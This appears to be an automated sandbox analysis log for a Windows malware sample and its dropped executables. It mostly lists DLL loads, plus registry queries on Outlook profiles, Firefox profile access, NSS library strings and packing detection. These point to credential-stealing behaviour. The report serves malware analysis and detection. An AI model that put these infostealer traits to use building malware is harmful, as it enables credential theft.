Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: g4Cyr2T5jq.exe

Static file information: File size 1959936 > 1048576

Source: g4Cyr2T5jq.exe

Static PE information: Raw size of ordjlgkm is bigger than: 0x100000 < 0x1acc00

Source:	Binary string: mozglue.pdbP source: 7e96f85771.exe, 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: nss3.pdb@ source: 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: nss3.pdb source: 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: mozglue.pdb source: 7e96f85771.exe, 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: cb#3.Pdb#3. source: firefox.exe, 00000017.00000002.3106659324.000002882317B000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Unpacked PE file: 0.2.g4Cyr2T5jq.exe.4e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ordjlgkm:EW;zsnxwtzn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ordjlgkm:EW;zsnxwtzn:EW;.taggant:EW;
